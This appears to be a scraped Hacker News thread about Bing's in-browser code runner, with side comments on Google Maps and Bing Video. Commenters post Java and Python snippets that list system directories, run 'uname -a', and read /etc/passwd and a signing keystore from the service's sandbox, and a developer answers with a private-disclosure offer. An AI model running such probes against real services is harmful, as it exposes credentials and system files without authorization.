In my view, CodeMirror is pretty decent, and it seems to me that not much can be improved upon it. But I haven't had the chance to compare it to anything else.

Why is it smart? Every major internet service is driven by it's early adopters. Every major service is built and designed by people like us, hacker news readers, techies, early adopters. But of course, not all services, especially those who want to be massive are targeted to early adopters anymore - they wrongly target the masses. To attract people to use your service, you have to have the early adopters first, they have to attract us first and then target the masses. Thus, we are seeing Bing take a page from DuckDuckGo in tailoring some parts of its service towards techies. It's a clever move.

Good startup idea could be found in this audience. Solve the coding problems through searching for code. Just do it better than bing. [0]

[0] "The way to win here is to build the search engine all the hackers use. A search engine whose users consisted of the top 10,000 hackers and no one else would be in a very powerful position despite its small size, just as Google was when it was that search engine." ~ http://paulgraham.com/ambitious.html

https://www.bing.com/search?q=solution+to+halting+problem

It also doesn't seem to support anything advanced or synonyms for terms. I can search for "Reverse array python" but not "Reverse list python" (technically a list is the proper name, and array is a different construct in Python), and anything more advanced than sorting algorithms or simple features don't appear. I tried a few pathfinding algorithms, fibonacci sequence, prime numbers.... And I tried several variations of search terms. "Pathfinding in Pyhton" / "Graph Search in Python" / "Djikstra's algorithm in Python", nothing. I don't think it will be very useful because of this.

http://duckduckhack.com/

This is probably Microsoft's response.

  import os
  print '\n'.join(os.listdir('/'))

However, it's quite easy to see the result if you add `&market=en-US` to the end of the query.

Example: https://www.bing.com/search?q=quicksort+java&market=en-US

[Disclaimer: Dev at HackerRank. Not affiliated with this product, though]

For one, it's super slow. I've switched to Bing Maps when I need to get an address quick on the desktop, because it's much faster. Google Maps has tons of lag when I'm sliding around the map on every browser and every major OS.

Secondly, the "natural language" features of searching has taken a major step back. I used to be able to say "[my town] mcdonalds to [neighboring town] chase bank" and as long as the map view was over my town, it knew what I meant. I just tried it now, map hovering over my town and McDonald's clearly shown on the screen, and it asks me which McDonald's I want, all of them from a city with the same name but in another state. It's like it doesn't know where it is, anymore. You have to get super specific in writing your search because it won't just assume you're talking about the McDonald's displayed on the screen anymore.

To be fair, I stopped using a lot of Google services when I used to have a Windows Phone and Google decided that anyone using a Windows Phone was inherently inferior and weren't allowed to use their services[1][2] but even now when I try to switch back, everything seems worse. Apple Maps is a better mobile experience, Bing Maps is a better desktop experience, and Outlook handles multiple email accounts much better than Gmail does. Bing search is just as good as Google in my experience, but they pay me to use it (Bing Rewards).

I'm honestly not sure what happened. Google used to be cool.

[1] http://mashable.com/2013/01/05/google-maps-windows-phone/#qY...

[2] http://betanews.com/2013/08/15/google-once-again-blocks-yout...

Also there's some files that are visible that probably shouldn't be, including one named "codechecker-android-release-key.keystore"...

For the curious, try running the code block. You can uncomment/commment things out to see different results as there's a cap on the amount of stdout printed.

    import java.net.URLClassLoader;
    import java.io.*;
    import java.net.*;
    
    class  Solution
    {
    	private static void printFile(String path) throws Exception {
    		System.out.println("File: " + path);
    		InputStream in = new FileInputStream(path);
    		byte buf[] = new byte[1024];
    		int len;
    		while( (len = in.read(buf)) > 0 ) {
    			System.out.write(buf, 0, len);
    		}
    		System.out.flush();
    	}
    	
    	final protected static char[] hexArray = "0123456789ABCDEF".toCharArray();
    	private static String bytesToHex(byte[] bytes) {
    	    char[] hexChars = new char[bytes.length * 2];
    	    for ( int j = 0; j < bytes.length; j++ ) {
    	        int v = bytes[j] & 0xFF;
    	        hexChars[j * 2] = hexArray[v >>> 4];
    	        hexChars[j * 2 + 1] = hexArray[v & 0x0F];
    	    }
    	    return new String(hexChars);
    	}
    
        private static void printFileHex(String path) throws Exception {
    		System.out.println("File: " + path);
    		InputStream in = new FileInputStream(path);
    		ByteArrayOutputStream out = new ByteArrayOutputStream();
    		byte buf[] = new byte[1024];
    		int len;
    		while( (len = in.read(buf)) > 0 ) {
    			out.write(buf, 0, len);
    		}
    		byte bytes[] = out.toByteArray();
    		System.out.println(bytesToHex(bytes));
    		System.out.flush();
    	}	
    	
    	public static void main (String[] args) throws Exception
    	{
    		Class<?> clazz = Class.forName("java.lang.ClassLoader");
    		URLClassLoader cl = 
    		  (URLClassLoader) Thread.currentThread().getContextClassLoader();
    	    System.out.println("Classpath:");
    		for(java.net.URL url : cl.getURLs()) {
    			System.out.println("" + url);
    		}
    		File local = new File("");
    		System.out.println("Local path: " + local.getAbsolutePath());
    		
    		System.out.println("Files:"); 
    		File root = new File("/");  
    		String list[] = root.list();		
    		System.out.println("# root files: " + list.length);
    		
    		//printFile("/etc/passwd");
    		printFileHex("/etc/codechecker-android-release-key.keystore");
    		
    		System.out.println("# root files: " + list.length);
    		for(String base : new String[]{ "/etc", "/bin", "/sbin", "/usr"}) {
    		  for(String name : new File(base).list()) {
    		     System.out.println(base + "/" + name);
    		  }
    		}
    	}
    }

We have a cluster of codechecker servers of the above type, which share the load of incoming queries. On each, sandboxing is via a chroot-based system. Programs get a fixed amount of memory/time.

Re: the codechecker keyfile - we're looking into this, as I'm not an android expert - but quick searching tells me this is used to sign apks. Our codechecker supports android builds, so that's probably what this is used for. This key is not used to sign anything official (like throwaway id_rsa you create when needed). Again, I'm not the expert on this and I'll add a confirmation here shortly.

That said, if anyone finds something a vulnerability/way out of the sandbox, please shoot me a mail (anil @ hackerrank) if you'd like to do a private disclosure.

import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; class Solution {

    public static void main(String[] args) throws IOException, InterruptedException {
        final Runtime rt = Runtime.getRuntime();
        final Process pr = rt.exec("uname -a");
        new Thread(new Runnable() {
            public void run() {
                BufferedReader input = new BufferedReader(new InputStreamReader(pr.getInputStream()));
                String line = null;

                try {
                    while ((line = input.readLine()) != null)
                        System.out.println(line);
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }).start();

        pr.waitFor();
    }
	
		
}

* Threads are allowed by the environment.

Bing Video to be exact.

(we all know it's true to an extent)

By which I mean, videos of people fucking.

EDIT: look like I was correct!

https://www.reddit.com/r/OutOfTheLoop/comments/36hsic/why_is...

http://www.dailydot.com/technology/bing-porn-search-engine/